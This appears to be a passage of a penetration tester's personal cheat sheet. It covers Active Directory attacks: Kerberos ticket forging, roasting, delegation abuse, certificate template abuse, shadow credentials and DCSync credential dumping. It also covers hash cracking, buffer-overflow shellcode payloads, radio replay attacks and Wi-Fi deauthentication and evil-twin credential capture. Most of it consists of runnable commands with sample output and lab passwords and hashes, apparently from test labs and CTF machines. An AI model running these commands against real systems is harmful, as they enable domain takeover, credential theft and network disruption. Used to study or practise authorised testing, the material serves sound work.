# servicePrincipalName: HOST/WIN-NUU0DPB1BVC.contoso.org/contoso.org
# servicePrincipalName: HOST/WIN-NUU0DPB1BVC/CONTOSO
# servicePrincipalName: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/WIN-NUU0DPB1BV
#  C.contoso.org
# servicePrincipalName: TERMSRV/WIN-NUU0DPB1BVC
# servicePrincipalName: TERMSRV/WIN-NUU0DPB1BVC.contoso.org
# servicePrincipalName: WSMAN/WIN-NUU0DPB1BVC
# servicePrincipalName: WSMAN/WIN-NUU0DPB1BVC.contoso.org
# servicePrincipalName: RestrictedKrbHost/WIN-NUU0DPB1BVC
# servicePrincipalName: HOST/WIN-NUU0DPB1BVC
# servicePrincipalName: RestrictedKrbHost/WIN-NUU0DPB1BVC.contoso.org
# servicePrincipalName: HOST/WIN-NUU0DPB1BVC.contoso.org
# ...



# you can use any online NTLM hash generator to obtain -nthash if you only have password

# generate TGS that is signed with service account's kerberos key (derived from -nthash) 
# for the target user "Administrator" and target SPN MSSQLSvc and apply 512 group to that user
### DONT FORGET TO FIX THE CLOCK SKEW
sudo ntpdate 192.168.68.64 && sudo impacket-ticketer -nthash fd72ca83b31d63f864440afa274bbd0c -domain-sid S-1-5-21-245103785-2483314120-3684157271 -domain contoso.org -spn HOST/WIN-KML6TP4LOOL Administrator
# 2025-02-20 02:31:38.877088 (+1100) +0.101192 +/- 0.000193 192.168.68.64 s1 no-leap
# Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

# [*] Creating basic skeleton ticket and PAC Infos
# [*] Customizing ticket for contoso.org/Administrator
# [*]     PAC_LOGON_INFO
# [*]     PAC_CLIENT_INFO_TYPE
# [*]     EncTicketPart
# /usr/share/doc/python3-impacket/examples/ticketer.py:843: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
# encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
# [*]     EncTGSRepPart
# [*] Signing/Encrypting final ticket
# [*]     PAC_SERVER_CHECKSUM
# [*]     PAC_PRIVSVR_CHECKSUM
# [*]     EncTicketPart
# [*]     EncTGSRepPart
# [*] Saving ticket in Administrator.ccache
# Ticket cache: FILE:Administrator.ccache
# Default principal: Administrator@CONTOSO.ORG

Golden ticket

impacket-secretsdump -outputfile secretsdump.txt 'contoso.org'/'Administrator':'win2016-cli-P@$swd1!'@'192.168.68.64'

cat secretsdump.txt.ntds
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:c70399550b62d5f52c84b2a2fad7b41a:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:60fcae2d99c85fb300602b91223f9516:::
# ...

impacket-lookupsid contoso.org/Administrator@192.168.68.64
# Impacket v0.12.0.dev1 - Copyright 2023 Fortra
#
# Password:
# [*] Brute forcing SIDs at 192.168.68.64
# [*] StringBinding ncacn_np:192.168.68.64[\pipe\lsarpc]
# [*] Domain SID is: S-1-5-21-245103785-2483314120-3684157271
# ...

sudo impacket-ticketer -nthash '60fcae2d99c85fb300602b91223f9516' -domain-sid 'S-1-5-21-245103785-2483314120-3684157271' -domain 'contoso.org' 'Administrator'
# Impacket v0.12.0.dev1 - Copyright 2023 Fortra
#
# [*] Creating basic skeleton ticket and PAC Infos
# [*] Customizing ticket for contoso.org/Administrator
# [*]   PAC_LOGON_INFO
# [*]   PAC_CLIENT_INFO_TYPE
# [*]   EncTicketPart
# [*]   EncAsRepPart
# [*] Signing/Encrypting final ticket
# [*]   PAC_SERVER_CHECKSUM
# [*]   PAC_PRIVSVR_CHECKSUM
# [*]   EncTicketPart
# [*]   EncASRepPart
# [*] Saving ticket in Administrator.ccache

Roasting

ASREPRoast

impacket-GetNPUsers -format hashcat -outputfile ASREProastables.txt -dc-ip $KDC_IP -request "$DOMAIN/$USER:$PASSWD"
# impacket-GetNPUsers -format hashcat -outputfile ASREProastables.txt -dc-ip 192.168.68.64 -request 'CONTOSO.ORG/TestAlpha:win10-gui-P@$swd'
# use 'CONTOSO.ORG/' for unauthenticated bind

TGSREPRoast

# perform kerberoasting without preauth (AS-REQ) (when a user has DONT_REQ_PREAUTH)
impacket-GetUserSPNs -no-preauth "$USER" -usersfile $USERS_FILE -dc-host $KDC_IP $DOMAIN/ -request
# impacket-GetUserSPNs -no-preauth "AltAdmLocal" -usersfile users.txt -dc-host 192.168.68.64 contoso.org/ -request

# perform kerberoasting knowing user's password
impacket-GetUserSPNs -outputfile kerberoastables.txt -dc-ip $KDC "$DOMAIN/$USER:$PASSWD"
# impacket-GetUserSPNs -outputfile kerberoastables.txt -dc-ip 192.168.68.64 'contoso.org/TestAlpha:win10-gui-P@$swd'


# request a TGS for a single specific kerberoastable user (Ethan, in this case)
impacket-GetUserSPNs -request-user 'ethan' -dc-ip 10.10.11.42 'administrator.htb'/'emily':'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

Delegation

RBCD

Prerequisites

  • Desired service account should have an msDS-AllowedToActOnBehalfOfOtherIdentity attribute featuring a infected account's SPN. (You should be able to create fake machine account (if you do NOT already own one!) and modify target service's attributes (if it DOESN'T feature your owned account already!))
  • The victim should be not in "Protected Users" group.
  • The victim should not have an "Account is sensitive and cannot be delegated" attribute set.
  • Infected account should have an TRUSTED_TO_AUTH_FOR_DELEGATION flag featured in it's userAccountControl attribute
  • Infected account (that is set in the value of msDS-AllowedToActOnBehalfOfOtherIdentity of a target service) should have an SPN (machine accounts BY DEFAULT have GenericWrite to themselves, so if you compromise a machineaccount you can write an SPN to it) (user accounts BY DEFAULT DO NOT have GenericWrite to themselves, so if you compromise a useraccount you can NOT write an SPN to it, it should already have an SPN)
  • If relay to LDAP, LDAP singing should be OFF
# add SPN to current user
python3 utils/krbrelayx/addspn.py -u 'CONTOSO\TestAcc' -p 'win2016-cli-P@$swd' -s 'host/testspn.contoso.org' -t 'TestAlpha' 192.168.68.64

# get a TGS for any user to a target service
impacket-getST -spn 'HOST/WIN-NUU0DPB1BVC' -impersonate 'Administrator' -dc-ip 192.168.68.64 'contoso.org/TestAlpha:win10-gui-P@$swd'

Cred usage

Pass-the-Ticket / Pass-the-Cache

convert ccache to kirbi

# convert ticket to kirbi for Rubeus or mimikatz
impacket-ticketConverter Administrator.ccache Administrator.kirbi

# then download the ticket on windows
wget -outfile Administrator.kirbi -uri http://192.168.68.10:9595/Administrator.kirbi -usebasicparsing

# ensure all low-priv tickets are removed 
klist purge

# then import the ticket on windows
# use either this
mimikatz "kerberos::ptt Administrator.kirbi" exit
# or this
Rubeus.exe ptt /ticket:Administrator.kirbi

# ensure it's imported
klist

e.g.

### WinRM
# make sure /etc/krb5.conf has the contoso.org domain specified
# make sure -i includes fqdn and that it is resolvable
# make sure the SPN is HTTP/...
export KRB5CCNAME=Administrator.ccache && evil-winrm -i WIN-KML6TP4LOOL.contoso.org -r contoso.org

# if spn is WSMAN or HOST or any other - specify it in --spn parameter
evil-winrm -i WIN-KML6TP4LOOL.contoso.org -r contoso.org --spn WSMAN


### WMI
export KRB5CCNAME=Administrator.ccache && klist && impacket-wmiexec -debug -k -no-pass contoso.org/Administrator@WIN-KML6TP4LOOL

Pass-the-Cert

### PKINIT is enabled
# use a pfx file with certipy-ad
certipy-ad auth -pfx ./WIN-KML6TP4LOOL\$.pfx -dc-ip 192.168.68.64 -domain contoso.org


### PKINIT is disabled
# if you get the following error that means DC's KDC certificate doesn't support PKINIT (because DC's certificate doesn't have "KDC Authentication" EKU)
# KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
# in order to resolve it do the following:
# the pfx format contains a private key and the cert. extract them.
certipy cert -pfx administrator_forged.pfx -nokey -out administrator.crt
certipy cert -pfx administrator.pfx -nocert -out administrator.key
# download and use "passthecert" utility
wget https://raw.githubusercontent.com/AlmondOffSec/PassTheCert/refs/heads/main/Python/passthecert.py
# even when PKINIT is not supported, we can still authenticate on a DC using mTLS - this is what PassTheCert.py does. Unfortunately, if an account you coerced and got the cert to doesn't have necessary LDAP outbound rights (e.g. it's a domain controller computer account which cannot do anything, apart from RPC DCSync - you cannot do anything with it)

# If you get something similar to "User not found in LDAP" that probably means the DC you have the cert for is not domain-joined
# now you can grant yourself DCSync privs, modify user's password or change DC's msDS-AllowedToActOnBehalfOfOtherIdentity for RBAC
# This (modify_user + -elevate) will grant the user account DCSync privileges
python3 ./passthecert.py -action modify_user -crt administrator.crt -key administrator.key -target kelly.hill -elevate -domain push.vl -dc-host dc01.push.vl

ESC*

ESC1

# enumerate existing templates
certipy-ad find -scheme ldap -u TestAlpha@contoso.org -p 'win10-gui-P@$swd' -dc-ip 192.168.68.64 -stdout -vulnerable -enabled
# Certificate Authorities
#   0
#     CA Name                             : contoso-WIN-KML6TP4LOOL-CA-9
# ...
# 
# Certificate Templates
#   0
#     Template Name                       : Workstation
#     Display Name                        : Workstation Authentication
#     Certificate Authorities             : contoso-WIN-KML6TP4LOOL-CA-9
#     Enabled                             : True
#     Client Authentication               : True
#     Extended Key Usage                  : Client Authentication
#     Requires Manager Approval           : False
#     Validity Period                     : 1 year
#     Renewal Period                      : 6 weeks
#     Minimum RSA Key Length              : 2048
#     Permissions
#       Enrollment Permissions
#         Enrollment Rights               : CONTOSO.ORG\Domain Admins
#                                           CONTOSO.ORG\Authenticated Users
#     [!] Vulnerabilities
#       ESC1                              : 'CONTOSO.ORG\\Domain Computers' and 'CONTOSO.ORG\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
##############
### TEST-1 ### PKINIT not supported
##############
### WARNING ::: you cannot use shadow credentials certificates to logon to LDAP, only legitimately obtained one! it has to be signed with the CA.

certipy-ad req -u TestAlpha@contoso.org -p 'win10-gui-P@$swd' -target WIN-KML6TP4LOOL.contoso.org -ca contoso-WIN-KML6TP4LOOL-CA-9 -template Workstation -upn administrator@contoso.org -dc-ip 192.168.68.64 -debug
# [*] Successfully requested certificate
# [*] Got certificate with UPN 'administrator@contoso.org'
# [*] Saved certificate and private key to 'administrator.pfx'

# attempt to request a TGT using PKINIT
# if you get the following error that means DC's KDC certificate doesn't support PKINIT (because DC's certificate doesn't have "KDC Authentication" EKU)
certipy-ad auth -pfx ./administrator.pfx -dc-ip 192.168.68.64 -domain contoso.org
# [*] Using principal: administrator@contoso.org
# [*] Trying to get TGT...
# [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

# got an error, so let's authenticate to LDAPS using mTLS then (passthecert.py)
# export public and private keys from a pfx file to a separate files
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
# [*] Writing private key to 'administrator.key'
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.cert
# [*] Writing certificate and  to 'administrator.cert'

# use certificates for mTLS LDAPS bind instead of PKINIT. This will rely on LDAP privileges the user has.
python3 ../utils/passthecert.py -action ldap-shell -crt administrator.cert -key administrator.key -domain contoso.org -dc-ip 192.168.68.64
# whoami
# # u:CONTOSO\Administrator


##############
### TEST-2 ### PKINIT supported
##############
# trying to get a TGT using a computer account (WIN-NUU0DPB1BVC) certificate
# the KDC (192.168.68.179) should have a certificate with "KDC Authentication" EKU issued
# after we got a TGT it tries to abuse U2U to itself (*see krb5.norg -> U2U abuse*) 
# in order to retrieve NT hash
certipy-ad auth -pfx ./WIN-NUU0DPB1BVC\$.pfx -dc-ip 192.168.68.179 -domain contoso.org -debug
# [*] Using principal: win-nuu0dpb1bvc$@contoso.org
# [*] Got TGT
# [*] Saved credential cache to 'win-nuu0dpb1bvc.ccache'
# [*] Got hash for 'win-nuu0dpb1bvc$@contoso.org': aad3b435b51404eeaad3b435b51404ee:d0773d3d8ae3a0f436b2b7e649faa137


# we can request an ST for that computer using hashes
export KRB5CCNAME='win-nuu0dpb1bvc.ccache'
impacket-getST -hashes aad3b435b51404eeaad3b435b51404ee:d0773d3d8ae3a0f436b2b7e649faa137 -spn CIFS/WIN-KML6TP4LOOL.contoso.org -dc-ip 192.168.68.64 contoso.org/WIN-NUU0DPB1BVC
# [*] Getting ST for user
# [*] Saving ticket in WIN-NUU0DPB1BVC@CIFS_WIN-KML6TP4LOOL.contoso.org@CONTOSO.ORG.ccache

# let's pass-the-hash to DCSync using impacket-secretsdump
export KRB5CCNAME='WIN-NUU0DPB1BVC@CIFS_WIN-KML6TP4LOOL.contoso.org@CONTOSO.ORG.ccache'
impacket-secretsdump -outputfile contoso.org.dump -k WIN-KML6TP4LOOL.contoso.org

# we can also perform secretsdump using just hashes (NOTE THE '$' SIGN AFTER COMPUTERNAME !!!!)
impacket-secretsdump -outputfile contoso.dump -hashes aad3b435b51404eeaad3b435b51404ee:d0773d3d8ae3a0f436b2b7e649faa137 'CONTOSO.ORG/WIN-NUU0DPB1BVC$@192.168.68.64'

Shadow creds

Prerequisites

You should have write access to msDS-KeyCredentialLink attribute (requires at least AddKeyCredentialLink ACL) of a target object (if the target object itself is compromised, then note that by default in AD each domain computer account has a right to modify it's own msDS-KeyCredentialLink attribute property if it's not already present, meaning you probably can freely modify your compromised computeraccount's msDS-KeyCredentialLink attribute value). Useraccounts, by default, do not have this right.

pywhisker

# generate pfx and add public cert to msDS-KeyCredentialLink of a --target (make sure to save the outputed password)
python pywhisker.py -d "$FQDN_DOMAIN" -u "$USER" -p "$PASSWORD" --target "$TARGET_SAMNAME" --action "add"
python pywhisker.py -d 'contoso.org' -u 'TestAcc' -p 'win2016-cli-P@$swd' --target 'AltAdmLocal' --action 'add'
# [+] Saved PFX (#PKCS12) certificate & key at path: 4CHGOm7F.pfx
# [*] Must be used with password: QVcxLbcT0YdVbGDXqQG5

# confirm that msDS-KeyCredentialLink is added
python pywhisker.py -d "$FQDN_DOMAIN" -u "$USER" -p "$PASSWORD" --target "$TARGET_SAMNAME" --action "add"


# use this pfx cert/key pair to request a TGT
# grep the password from `pywhisker add` command and put into -pfx-pass
gettgtpkinit $DOMAIN/$USER -cert-pfx $PFX_FILE -pfx-pass $PASSWORD_FOR_PFX -dc-ip $KDC $OUTPUT.ccache
python3 ./PKINITtools/gettgtpkinit.py contoso.org/AltAdmLocal -cert-pfx ../pywhisker/4CHGOm7F.pfx -pfx-pass QVcxLbcT0YdVbGDXqQG5 -dc-ip 192.168.68.179 AltAdmLocal.ccache

Replication abuse

Prerequisites

  • DS-Replication-Get-Changes (part of GenericAll on a Domain object)
  • DS-Replication-Get-Changes-All (part of GenericAll on a Domain object)

impacket-secretsdump

# using a plaintext password
impacket-secretsdump -outputfile $FILES_NAME "$DOMAIN"/"$USER":"$PASSWORD"@"$DOMAINCONTROLLER"
# impacket-secretsdump -outputfile contoso.dump 'CONTOSO.ORG'/'Administrator':'win2016-cli-P@$swd'@'192.168.68.64'

# with PTH (COMPUTERNAME$)
impacket-secretsdump -outputfile $FILES_NAME -hashes $LMHASH:$NTHASH $DOMAIN/"$USER"@"$DOMAINCONTROLLER"
# impacket-secretsdump -outputfile contoso.dump -hashes aad3b435b51404eeaad3b435b51404ee:d0773d3d8ae3a0f436b2b7e649faa137 'CONTOSO.ORG/WIN-NUU0DPB1BVC$@192.168.68.64'

# PTT
impacket-secretsdump -k -outputfile $FILES_NAME "$DOMAIN"/"$USER"@"$KDC_DNS_NAME"
# impacket-secretsdump -k -outputfile contoso.org.dump WIN-KML6TP4LOOL.contoso.org

General

BH

collectors

bloodhound-python -c All -d 'BLACKFIELD.local' -u 'support@blackfield.local' -p '#00^BlackKnight' -ns '10.10.10.192'

rusthound -d certified.htb -u 'judith.mader' -p 'judith09'

SharpHound.exe -d contoso.local --domaincontroller $DC_IP -c All

quickstart

############
###  BH  ###
############
sudo neo4j start
http://127.0.0.1:7474/ # -> neo4j:neo4j -> change password
./BloodHound # -> neo4j:$CHANGED_PASSWORD
# configure dark theme in Settings=>DarkMode

############
### BHCE ###
############
# run BHCE in container 
curl -L https://ghst.ly/getbhce | sudo docker compose -f - up
http://127.0.0.1:8080 => admin@password_from_command_output # wait for status change

pywerview

# search 'administrator' user
pywerview get-netuser -w contoso.org --dc-ip 192.168.68.64 -u TestAcc -p 'win2016-cli-P@$swd' --username administrator

# get users
pywerview get-netuser -w sequel.htb --dc-ip 10.10.11.51 -u rose -p 'KxEPkKe6R8su'

# get 'management' group
pywerview get-netgroup -w certified.htb --dc-ip 10.10.11.41 -u judith.mader -p judith09 --full-data --groupname 'Management'

# check acls against management group
pywerview get-objectacl -u judith.mader -p 'judith09' -t 10.10.11.41 --resolve-sids --sam-account-name Management

# get group members
pywerview get-netgroupmember -w certified.htb --dc-ip 10.10.11.41 -u judith.mader -p judith09 --groupname 'Management'

# get DC
pywerview get-netdomaincontroller -w certified.htb --dc-ip 10.10.11.41 -u judith.mader -p judith09

OpenLDAP

ldapadd

### add entries to LDAP db from .ldif file 
# -D: account to authenticate to
ldapadd -D "cn=Manager,dc=example,dc=org" -W -f base.ldif

ldapsearch

### PARAMETERS
-H ldapuri     # ldap-server uri (required for non-localhost searches)
-W             # Prompt for simple authentication
-x             # use simple authentication instead of SASL
-D binddn      # bind to ldap directory via the DN
-f             # ldif file to add
-b searchbase  # object to search for (i.e. database to search under) (e.g. cn=config)
-s {base|one|sub|children} # searchbase (most probably you want "sub" for subtree (recursive children) search)
-LLL           # print in LDIF format
-Y {EXTERNAL,DIGEST-MD5,GSSAPI} # Set the SASL auth mechanism

### FILTER
nc dc someRandomAttribute  # defines attributes to return
+                          # returns ALL attributes
'(someAttribute=*)'        # filters by attribute value

### EXAMPLES
# TLS bind
env TLS_CACERT=. TLS_CERT=. TLS_KEY=. ldapsearch -H "ldaps://dc-1.aisp.aperture.local" \
-Y EXTERNAL -b 'dc=aisp,dc=aperture,dc=local' -s sub '*' +

# anonymous bind (often only `-s base` will be allowed anonymously)
ldapsearch -H ldap://10.10.11.241 -x -s base
# get everything
ldapsearch -LLL -x -H ldap://192.168.68.64 -D "Administrator@contoso.org" -w 'win2016-cli-P@$swd' -b 'dc=contoso,dc=org'
# filter by "name" LDAP attribute
ldapsearch -LLL -x -H ldap://192.168.68.64 -D "Administrator@contoso.org" -w 'win2016-cli-P@$swd' -b 'dc=contoso,dc=org' 'name=DESKTOP-PD18STT'
# show only specific attributes
ldapsearch -LLL -x -H ldap://192.168.68.64 -D "Administrator@contoso.org" -w 'win2016-cli-P@$swd' -b 'dc=contoso,dc=org' name memberOf

ldapmodify

### USAGE: same as ldapadd

### EXAMPLE (- ARE ACTUALLY IMPORTANT)
dn: cn=Modify Me,dc=example,dc=com
changetype: modify
replace: mail
mail: modme@example.com
-
add: title
title: Grand Poobah
-
add: jpegPhoto
jpegPhoto:< file:///tmp/modme.jpeg
-
delete: description
-

ldapdelete

ldapdelete $DN

Recon

misc

nuclei

# generic scan (default fingerprinting templates)
nuclei -u https://example.com

# use with a custom template
nuclei -u https://example.com -t ./my-template.yaml

# use with multiple URLs and multiple templates
git clone https://github.com/projectdiscovery/nuclei-templates.git
nuclei -l urls.txt -t 'nuclei-templates/passive/cves/2024/*.yaml'

params

### %s is replaced with parameters as so: {"x":{"a":"b3a1a", "b":"ce03a", ...}}

# check parameters in query
x8 -u "https://example.com/" -w <wordlist>
# https://example.com/?%s

# check combination with required parameters
x8 -u "https://example.com/?something=1" -w <wordlist>
# https://example.com/?something=1&%s

FFuF

ffuf -c [colorize output] -mc 200,301 [match status codes] -fc 404 [exclude status codes from response] -u https://google.com/FUZZ -w [WORDLIST_PATH] -recursion -e .exe [files with .exe] -s [silent] -of html [output in html file] -o output-file -b "cookie1=smth; cookie2=smth" -H "X-Custom-Header: smth" -se [stop on errors] -p 2 [2 second delay] -t 150 [threads]


################
### EXAMPLES ###
################
# classic directory FUZZ
ffuf -c -fc 404 -u http://example.com/FUZZ -w ~/SecLists/Discovery/Web-Content/raft-medium-words.txt

ffuf -c -mc 200,301 -fc 404 -u http://example.com/FUZZ -w ~/seclists/discovery/web-content/raft-large-words.txt -t 150 -e '.php,.html'
ffuf -c -fc 404 -u http://example.com/FUZZ -w ~/SecLists/Discovery/Web-Content/raft-large-words.txt -t 150 -e $(cat /root/SecLists/Discovery/Web-Content/web-extensions-comma_separated.txt)

# FUZZ HTTP verbs
ffuf -c -u 'http://WIN-KML6TP4LOOL.CONTOSO.ORG' -X FUZZ -w ~/SecLists/Fuzzing/http-request-methods.txt

# recursive directory FUZZ
ffuf -c -fc 404 -u http://example.com/FUZZ -recursion -w ~/SecLists/Discovery/Web-Content/raft-medium-words.txt

# FUZZ when on different subdomain (without adding it to /etc/hosts)
ffuf -c -H 'Host: something.example.com' -w '~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt' -u 'http://example.com/FUZZ'

# single IP subdomain enumeration (note that `-u` param is only for IP discovery, to enumerate subdomains on a specific IP you need to FUZZ Host header) (if you wanna enumerate DNS instead see * gobuster)
ffuf -c -H 'Host: FUZZ.example.com' -w '~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt' -u 'http://example.com'

# multiple wordlists (default mode is clusterbomb (all combinations))
ffuf -c -mode pitchfork -H 'Host: SUBD.example.com' -u 'http://example.com/PATH' -w '~/wordlist_subdomain.txt:SUBD' -w '~/wordlist_path.txt:PATH' -replay-proxy 'http://127.0.0.1:8080'

# FUZZ ports in the request file
# (let's say we have a plain request from burp with a SSRF and we wanna enumerate ports)
# see [HTB Editorial]{https://youtu.be/eggi_GQo9fk?t=467}
ffuf -request ssrf.txt -request-proto http -w <(seq 1 65535)

# rate limit
ffuf -rate 20 -c -fc 404 -u http://example.com/FUZZ -w ~/SecLists/Discovery/Web-Content/raft-medium-words.txt

# forward to burp
# in burp, i add new proxy at 3333 and tell it to forward to 9595
ffuf -c -u http://localhost:3333/ # ...

hashcracking

hashcat

### OPTIONS
--help              # display hash types
-m [hash_type]      # specify hash type
-a [mode]           # specify attack-mode (???)
-O                  # enable optimized kernel mode

--increment         # increment applied mask by 1


################
### EXAMPLES ###
################
hashcat -O -a 0 -m 3200 hash.txt ~/SecLists/rockyou.txt
hashcat 'iamthehash'                                           # determine hash type
hashcat -O -a 0 -m 1800 '$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/' ~/SecLists/rockyou.txt

# Cracked password is supplied in the following format:
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho


### Hashcat show examples for pbkdf2 + sha256
hashcat --example-hashes --mach | grep -i pbkdf2 | grep sha256


### MASKS
# https://hashcat.net/wiki/doku.php?id=mask_attack
hashcat -m 1400 -O -a 3 --increment 'abeb6f8eb5722b8ca3b45f6f72a' 'susan_nasus_?d?d?d?d?d?d?d?d?d?d'

hashcat -m 1400 -O -a 6 "somehash" example.dict ?d?d?d?d
# password0000
# password0001

hashcat -m 1400 -O -a 7 "somehash" ?d?d?d?d example.dict
# 0000password
# 0001password

hashcat -m 1400 -O -a 7 "somehash" dict1.txt dict2.txt

john

# john works with files, store hash into a file first
echo 'dsgf27g86df26f287df86f3' | tee -a hash.txt

# determine possible formats
john --show=formats hash.txt

# crack using a specific format
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# crack using all formats
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

General

pwntools

# import lib
from pwn import *

# setup the proc
p = process('./vuln-32')

# clear logs
log.info(p.clean())
# send the line
p.sendline('%23$p')

canary = int(p.recvline(), 16)
log.success(f'Canary: {hex(canary)}')
### asm (compile shellcode)

# compile into elf

pwn asm -i exploit_unc.asm -f elf -o exploit_unc.elf

# compile into string for injection

pwn asm -i exploit_unc.asm -f string

payload craft example:

python2 -c 'print "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaab" + "EIPx" + "nausdifu" + "\x50\xbb\x01\x00\x00\x00\x89\xe1\xba\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80"' > payload.bin

windbg

# show registers
r
# show register state
r eax,esp

# print memory state at the address specified in ESP pointer
db esp
# print 200 bytes
db esp L200


# set breakpoint
bp kernel32!GetCurrentThread
# remove breakpoints
bc *

# dissasemble the function `GetCurrentThread` in `kernel32` DLL
u kernel32!GetCurrentThread

gdb-pwndbg

gdb-pwndbg ./file


# place a breakpoint at main
break main

# continue program execution
continue

# list functions
info functions

# run the program
run
run < payload.bin

# print first 20 entries in stack
stack 29

# step into
si
# step over
so


# generate cyclic 200 symbols
cyclic 200
# find offset of "waab"
cyclic -l waab


# breaks when EIP will be equal to 0xffff0d98 (insert while running)
watch $eip == 0xffff0d98



# display virtual memory map
vmmap

r2

### CLI
# open
r2 ./vuln
# debug
r2 -d ./vuln
# writable open
r2 -w ./vuln

### Basic stuff
# analyse everything
aaaa
# display function list
afl
# display calling convention
afc
# seek to function (you can do the same with addresses)
s sym.flag
# go to visual mode (press again to go into graph mode)
V
# print dissasembled funciton
pdf
# print 20 dissasembled instructions from current address
pd 20

RF

HackRF

flash

firmware

# run the following command and reconnect the board
sudo hackrf_spiflash -w hackrf_one_usb.bin

# run to ensure firmware got flashed
sudo hackrf_info

Replay

# capture on 315'000.000kHz (315.000 MHz) and save to a file called "unlock.rx" and sample rate of 2'000.000 kHz (2 MHz)
sudo hackrf_transfer -s 2000000 -f 315000000 -r unlock.rx

# transmit file contents with 47 db (maximum) gain
sudo hackrf_transfer -s 2000000 -f 315000000 -t unlock.rx -x 47

802.11

Deauth

# send unicast deauth frame against a specific station (client) 
aireplay-ng -0 1 -a "CE:9D:A2:E2:9B:40" -c "10:F0:05:16:F6:9E" wlp1s0f0u8

# send broadcast deauth frame impersonating an AP
aireplay-ng -0 1 -a "CE:9D:A2:E2:9B:40" wlp1s0f0u8

eaphammer WPA-E ET

eaphammer --cert-wizard
# make sure all is checked out

# working. if certificate validation 
# is not configured on supplicant -
# supplicant autoconnects and gets 
# successfully downgraded to GTC if MSCHAPv2
# is not explicitly specified
./eaphammer --bssid 1C:7E:E5:97:79:B1 \
        --essid Example \
        --channel 2 \
        --interface wlan0 \
        --auth wpa-eap \
        --creds

IMPACT:

  • inner GTC : plaintext credentials if
  • inner MSCHAPv2 : NetNTLMv1 hash

Useful

set a specific channel to a wireless interface:

iwconfig wlp1s0f0u8 channel 5

place a wireless card into monitor:

airmon-ng start wlan0

### ALTERNATIVELY:
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

aurodump-ng

  • use "a" key to collapse sections
  • if doesn't work try replugging the adapter, It should work right after replugging by just running airodump-ng
### SECTIONS
## APs:
# BSSID   - AP MAC address
# ESSID   - AP readable identitier
# CH      - AP channel (frequency range)

## STATIONS:
# BSSID   - MAC of an AP the station is connected to
# Probes  - ESSIDs this client has probed 
# STATION - MAC of a station


###############
### GENERAL ###
###############
# scan near APs
airodump-ng wlan0
# scan specific AP
airodump-ng --bssid CE:9D:A2:E2:9B:40 wlan0